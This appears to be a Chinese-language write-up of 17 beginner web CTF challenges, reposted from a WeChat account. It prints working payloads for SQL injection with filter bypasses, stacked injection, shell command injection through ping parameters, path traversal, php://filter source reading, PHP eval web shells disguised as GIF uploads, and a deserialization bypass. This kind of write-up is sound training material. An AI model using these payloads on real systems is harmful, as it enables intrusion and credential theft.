写在前面
目录
0x01 [极客大挑战 2019]EasySQL1
0x02 [极客大挑战 2019]Havefun1
0x03 [HCTF 2018]WarmUp1
0x04 [ACTF2020 新生赛]Include1
0x05 [ACTF2020 新生赛]Exec1
0x06 [GXYCTF2019]Ping Ping Ping
0x07 [极客大挑战 2019]LoveSQL
0x08 [强网杯 2019]随便注
0x09 [极客大挑战 2019]Secret File
0x0a [极客大挑战 2019]Http
0x0b [极客大挑战 2019]Upload
0x0c [极客大挑战 2019]Knife
0x0d [ACTF2020 新生赛]Upload
0x0e [极客大挑战 2019]BabySQL
0x0f [极客大挑战 2019]PHP
0x10 [ACTF2020 新生赛]BackupFile
0x11 [HCTF 2018]admin
[极客大挑战 2019]EasySQL1
输入'会报错,其他" )不报错
万能 test' or 1=1 --
发现--注释符没用,只有#有用
[极客大挑战 2019]Havefun1
主页没啥东西,目录爆破或者看代码
/?cat=dog
[HCTF 2018]WarmUp1
看源代码
访问
总结一下就是截取?前面的内容,如果在白名单hint source就可以,问号后面可以自己构造
然后就是尝试
source.php?file=hint.php?../../../../../ffffllllaaaagggg
ffffllllaaaagggg这个文件名是直接访问hint文件给的提示
[ACTF2020 新生赛]Include1
URL格式 /?file=flag.php
存在路径穿越
/?file=../../../../../flag 没有
有可能 flag 是藏在了 flag.php 文件内,以注释的方式存放着,因此就需要考虑如何能够成功的读取到 flag.php 文件的源码。想到php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64 解码即可
[ACTF2020 新生赛]Exec1
看到这个界面就想到linux管道符,也是太经典了,确实可以命令执行
是难得一眼知道答案的CTF题目
[GXYCTF2019]Ping Ping Ping
题目提示ip= 构造可以ping,再上管道符
/?ip=127.0.0.1|ls
cat 有空格,linux没法解析
$IFS$1可以绕过空格,但是flag被过滤了
①127.0.0.1|cat$IFS$1fla$IFS$1g.php没用
②反引号绕过,优先执行反引号内内容
cat$IFS$1`ls`,结果也没有看到flag(原来注释了。顺便看下main代码可以知道①不行的原因,还是被正则匹配命中了。
③/?ip=127.0.0.1;x=lag;cat$IFS$1f$x.php
④base64 绕过,/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo sh执行Y2F0IGZsYWcucGhw|base64$IFS$1-d
sh执行 base -d解码Y2F0IGZsYWcucGhw(cat ……)
[极客大挑战 2019]LoveSQL
随便输入,返回密码是e944d67e38fa0dea6f5b1230977f13ff
单引号注入
看有几行,4、5报错,3行
看显示位置在哪,2,3位置
1' union select 1,database(),3#,库名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
看有哪些表,geekuser,l0ve1ysq1,第二个表
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
得到flag,总结步骤:
'order by 3#'union select 1,2,3#'union select 1,2,database()#'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#'union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
[强网杯 2019]随便注
堆叠注入,select
';show databases;';show tables;';show columns from `1919810931114514`;';select flag from `1919810931114514`; 但是select被ban
把select拆开,反单引号(`)是数据库、表、索引、列和别名用的引用符,如果是纯数字的表就需要加反单引号
1';use supersqli;set @test=concat('s','elect flag from `1919810931114514`');PREPARE play from @test;execute play#
[极客大挑战 2019]Secret File
看源代码,抓包
?file=flag.php,应该就是这个php文件但是看不到
想到php伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
这个段得记一下
[极客大挑战 2019]Http
看源代码,有目的页面
访问返回:
It doesn't come from 'https://Sycsecret.buuoj.cn'
会提示对http包头有要求,比较简单按照提示改头就行
有一个问题,就是原来未修改的包,没有传Refer和X-Forward-For,要自己加
[极客大挑战 2019]Upload
文件上传,只允许图片,黑名单,burp抓包
<script language="php">@eval($_POST['pass']);</script> 这样可以(奇怪用hackbar没有回显)
不连马子 echo出来
[极客大挑战 2019]Knife
[ACTF2020 新生赛]Upload
有文件类型限制,比较简单
GIF89a
<?php @eval($_POST['pass']); ?>
<script language="php">@eval($_POST['pass']);</script>
[极客大挑战 2019]BabySQL
有过滤,双写可以绕过,说明是使用replace()将关键词置,至于是哪些词要一个个试
admin' oorr 1=1#
这里过滤了or 和by 但是没有过滤order,变成
admin' oorrder bbyy 1# 测出来三个字段(这里得是存在的账号,unionselest不要输入正确账号)
看显示位
admin' ununionion seselectlect 111,222,333# 不能用admin1' ununionion seselectlect 111,222,333#
表
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#
列
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#
1' ununionion seselectlect 111,222,group_concat(passwoorrd) frfromom geekuser#
1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#1' ununionion seselectlect 111,222,group_concat(passwoorrd) frfromom geekuser#
[极客大挑战 2019]PHP
www.zip
解压有个flag.php 没东西
index.php 有东西,包括class文件,get输入select值,反序列化
获取flag条件 username=admin password=100
问题一,反序列化输入的格式,这里类名从class文件得到
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i=100;}
问题二,wakeup函数绕过
绕过__wakeup():在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup()
?select=O:4:"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
问题三,私有变量
因为成员变量是用private修饰的私有变量,所有要在变量中类名的前后添加%00,也就是/0
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[ACTF2020 新生赛]BackupFile
让找文件,index.php.bak
intval比较整数部分,123
整理一下可以刻到DNA的一些语句
SQL注入语句union select 1,2,group_concat(table_name) from information_schema.names where table_schema=database();union select 1,2,group_concat(column_name) from information_schema.columns where table_name='mysql';union select 1,2,group_concat('id','password') from mysql;序列化格式O:4:"Name":2:{s:4:"User";s:4:"nino";s:2:"id";i:3:100;}堆叠注入';show databases;';show tables;';show columns from `1919810931114514`; 数字表格要用反引号';select flag from `1919810931114514`; 如果select被ban,把select拆开1';use supersqli;set @test=concat('s','elect flag from `1919810931114514`');PREPARE play from @test;execute play#php伪协议,用于文件包含读取php源码?file=php://filter/read=convert.base64-encode/resource=flag.php
[HCTF 2018]admin
有个注册和登录功能,注册了test,登录不进去(据说是年代太久被删掉了)
看到标题叫admin,尝试万能密码,没进去。尝试弱口令admin/123 直接弹flag,考的是基础爆破吧
原始版本可以注册test,改密码的时候id换成admin的。
写在最后
祝大家新年都能找到对象。
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
原文始发于微信公众号(云下信安):CTF web入门17题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论